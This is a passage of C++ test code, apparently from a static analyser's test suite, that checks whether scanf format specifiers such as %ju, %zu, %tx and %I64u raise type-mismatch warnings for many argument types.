\"uintmax_t\", \"char\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"signed char\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"signed short\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"signed int\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"signed long\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"float\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"double\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"long double\");\n TEST_SCANF_WARN(\"%ju\", \"uintmax_t\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%ju\", \"uintmax_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%ju\", \"uintmax_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%ju\", \"uintmax_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%ju\", \"uintmax_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%ju\", \"uintmax_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%ju\", \"uintmax_t\", \"uintmax_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN_CPP(\"%ju\", \"uintmax_t\", \"std::uintmax_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"bool\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"char\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"signed char\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"signed short\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"signed int\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"signed long\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"float\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"double\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"long double\");\n TEST_SCANF_WARN(\"%jx\", \"uintmax_t\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%jx\", \"uintmax_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%jx\", \"uintmax_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%jx\", \"uintmax_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%jx\", \"uintmax_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%jx\", \"uintmax_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%jx\", \"uintmax_t\", \"uintmax_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN_CPP(\"%jx\", \"uintmax_t\", \"std::uintmax_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%jd\", \"intmax_t\", \"long double\");\n TEST_SCANF_WARN(\"%jd\", \"intmax_t\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%jd\", \"intmax_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%jd\", \"intmax_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%jd\", \"intmax_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%jd\", \"intmax_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%jd\", \"intmax_t\", \"intmax_t\");\n TEST_SCANF_WARN_AKA(\"%jd\", \"intmax_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_NOWARN_CPP(\"%jd\", \"intmax_t\", \"std::intmax_t\");\n\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"bool\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"char\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"signed char\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"signed short\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"signed int\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"signed long\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"float\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"double\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"long double\");\n TEST_SCANF_WARN(\"%zu\", \"size_t\", \"void *\");\n TEST_SCANF_NOWARN(\"%zu\", \"size_t\", \"size_t\");\n TEST_SCANF_WARN_AKA(\"%zu\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%zu\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%zu\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%zu\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%zu\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_NOWARN_CPP(\"%zu\", \"size_t\", \"std::size_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"bool\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"char\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"signed char\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"signed short\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"signed int\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"signed long\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"float\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"double\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"long double\");\n TEST_SCANF_WARN(\"%zx\", \"size_t\", \"void *\");\n TEST_SCANF_NOWARN(\"%zx\", \"size_t\", \"size_t\");\n TEST_SCANF_WARN_AKA(\"%zx\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%zx\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%zx\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%zx\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%zx\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_NOWARN_CPP(\"%zx\", \"size_t\", \"std::size_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%zd\", \"ssize_t\", \"bool\");\n TEST_SCANF_WARN(\"%zd\", \"ssize_t\", \"signed short\");\n TEST_SCANF_WARN(\"%zd\", \"ssize_t\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%zd\", \"ssize_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_NOWARN(\"%zd\", \"ssize_t\", \"ssize_t\");\n TEST_SCANF_WARN_AKA(\"%zd\", \"ssize_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n\n TEST_SCANF_WARN_AKA(\"%zi\", \"ssize_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"bool\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"char\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed char\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed short\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed int\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed long\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"float\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"double\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"long double\");\n TEST_SCANF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned ptrdiff_t\");\n TEST_SCANF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"bool\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"char\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed char\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed short\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed int\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed long\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"float\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"double\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"long double\");\n TEST_SCANF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned ptrdiff_t\");\n TEST_SCANF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%td\", \"ptrdiff_t\", \"long double\");\n TEST_SCANF_WARN(\"%td\", \"ptrdiff_t\", \"void *\");\n TEST_SCANF_NOWARN(\"%td\", \"ptrdiff_t\", \"ptrdiff_t\");\n TEST_SCANF_WARN_AKA(\"%td\", \"ptrdiff_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%td\", \"ptrdiff_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%td\", \"ptrdiff_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"bool\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"char\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"signed char\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"signed short\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"signed int\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"signed long\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"float\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"double\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"long double\");\n TEST_SCANF_WARN(\"%Iu\", \"size_t\", \"void *\");\n TEST_SCANF_NOWARN(\"%Iu\", \"size_t\", \"size_t\");\n TEST_SCANF_WARN_AKA(\"%Iu\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Iu\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Iu\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Iu\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Iu\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Iu\", \"size_t\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Iu\", \"size_t\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_NOWARN_CPP(\"%Iu\", \"size_t\", \"std::size_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"bool\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"char\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"signed char\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"signed short\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"signed int\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"signed long\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"float\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"double\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"long double\");\n TEST_SCANF_WARN(\"%Ix\", \"size_t\", \"void *\");\n TEST_SCANF_NOWARN(\"%Ix\", \"size_t\", \"size_t\");\n TEST_SCANF_WARN_AKA(\"%Ix\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Ix\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Ix\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Ix\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Ix\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Ix\", \"size_t\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Ix\", \"size_t\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_NOWARN_CPP(\"%Ix\", \"size_t\", \"std::size_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"bool\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"char\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"signed char\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"unsigned char\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"signed short\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"unsigned short\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"signed int\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"unsigned int\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"signed long\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"unsigned long\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"signed long long\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"float\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"double\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"long double\");\n TEST_SCANF_WARN(\"%Id\", \"ptrdiff_t\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%Id\", \"ptrdiff_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Id\", \"ptrdiff_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%Id\", \"ptrdiff_t\", \"ptrdiff_t\");\n TEST_SCANF_WARN_AKA(\"%Id\", \"ptrdiff_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%Id\", \"ptrdiff_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%Id\", \"ptrdiff_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Id\", \"ptrdiff_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Id\", \"ptrdiff_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_NOWARN_CPP(\"%Id\", \"ptrdiff_t\", \"std::ptrdiff_t\");\n TEST_SCANF_WARN_AKA_CPP(\"%Id\", \"ptrdiff_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%Id\", \"ptrdiff_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"bool\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"char\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"signed char\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned char\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"signed short\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned short\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"signed int\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned int\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"signed long\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned long\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"signed long long\");\n TEST_SCANF_NOWARN(\"%I64u\", \"unsigned __int64\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"float\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"double\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"long double\");\n TEST_SCANF_WARN(\"%I64u\", \"unsigned __int64\", \"void *\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"size_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"uintmax_t\", \"unsigned long\");\n TEST_SCANF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"uintptr_t\", \"unsigned long\");\n 